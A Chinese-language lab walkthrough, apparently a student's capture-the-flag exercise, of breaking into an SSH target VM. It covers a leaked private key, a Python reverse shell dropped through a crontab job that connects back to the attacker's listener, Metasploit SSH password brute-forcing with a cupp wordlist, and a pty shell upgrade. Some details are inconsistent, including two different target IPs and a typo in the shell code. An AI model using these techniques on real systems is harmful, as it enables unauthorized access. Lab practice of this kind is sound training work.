ssh服务测试详细版
攻击机ip:192.168.1.2
靶机ip:192.168.1.11
首先,netdiscover -r 192.168.1.11,查到靶机ip
打开靶机ip,发现是个网站,进行信息收集
找到个用户名,martin,后面或许有用
随后进行端口开放的查询,发现22号端口开启ssh服务,那么我们是否可以进行ssh远程登陆服务器呢?想到就做到,开搞。
用nikto -host 靶机ip
找啊找啊找,最后在/icons里找到了一些有趣的东西,一个txt文件,一打开,发现是ssh远程会话登陆的私钥!
紧接着我们就应该想到了ssh -i 私钥 用户名@ip这条命令可以进行ssh登陆。
那么我们就使用wget把他下载下来。一登陆发现没有权限,无法登录,ls -al查询文件权限,发现不是可读可写,那么我们就将它改成可读可写 chmod 600 私钥文件名。再次登陆发现还是不行,无法建立连接,说需要密码,好,那么我们就用john进行解密,但是发现它回显,无密码??
之后问了下老师,他说需要把一个缓存文件给删掉才行。
好!我们不会就百度
最后找到了答案,是这样的:ssh会把你每个你访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告,避免你受到DNS Hijack之类的攻击。而因为之前我用kali攻击机做l了个ssh私钥泄露的实验,所以我想应该是那时候留下来的。那么我们就删除这个缓存文件吧!
首先使用命令 ssh-keygen -l -f ~/.ssh/known_hosts 查询/.ssh/known_hosts文件中的私钥缓存有多少个
使用命令 ssh-keygen -R xxx.xxx.xxx.xxx (服务器ip地址) 从known_hosts文件中删除属于hostname的所有密钥。
然后再删除私钥文件,进重新下载,就可以登陆成功啦!
我们拿到了matin权限,那么我们进行进行查询发现没有flag.txt。那么意味着可能是另外两个用户可能能查询到。那么我们就以现在的身份进行信息挖掘。
我们知道,root用户可以通过/etc/crontab 文件,设定系统定期执行的任务,不同的用户有不同的任务。cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。
如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。
以下是反弹shell的代码
靶场代码
#!/usr/bin/python
import os,subprocess,socket
s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“攻击机IP地址”,”攻击机监听端口”))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([“/bin/sh”,”-i”])
攻击机使用nc -lpv 未占用端口进行监听,再攻击机上反弹回来的shell进行查询发现jimmy用户也无法查询到flag.txt文件,那就只能依托于最后的hadi用户了。我们只是用metaspolit进行暴力破解。在这之前我们需要西在字典文件。
利用 cupp 创建字典
git clone https://github.com/jeanphorn/common-password.git
chmod +x cupp.py
./cupp.py -i 以交互的方式创建字典
然后就可以使用metaspolit工具了
命令:
msfconsole ---打开工具
use auxiliary/scanner/ssh/ssh_login ---进入ssh模块
set rhosts 192.168.1.137 ---设置靶机ip
set username hadi ---设置用户名
set pass_file /root/Desktop/commont-password/hadi.txt ---设置密码文件
set threads 5 ---设置线程
run --启动
最后爆破出hadi的登陆密码为hadi123
back --退出,再进入ssh模块,设置ip,设置用户名,输入密码即可登陆成功
然后发现里面有一个id为1的会话,我们尝试会话,发现它并不像我们通常的终端会话一样,权限@用户名的,那么我们就是用python代码进行优化。
python -c "import pty; pty.spawn('/bin/bash')"
然后ls查询我们发现了个flag.txt文件,那么我们cat一下它就可以拿到flag了!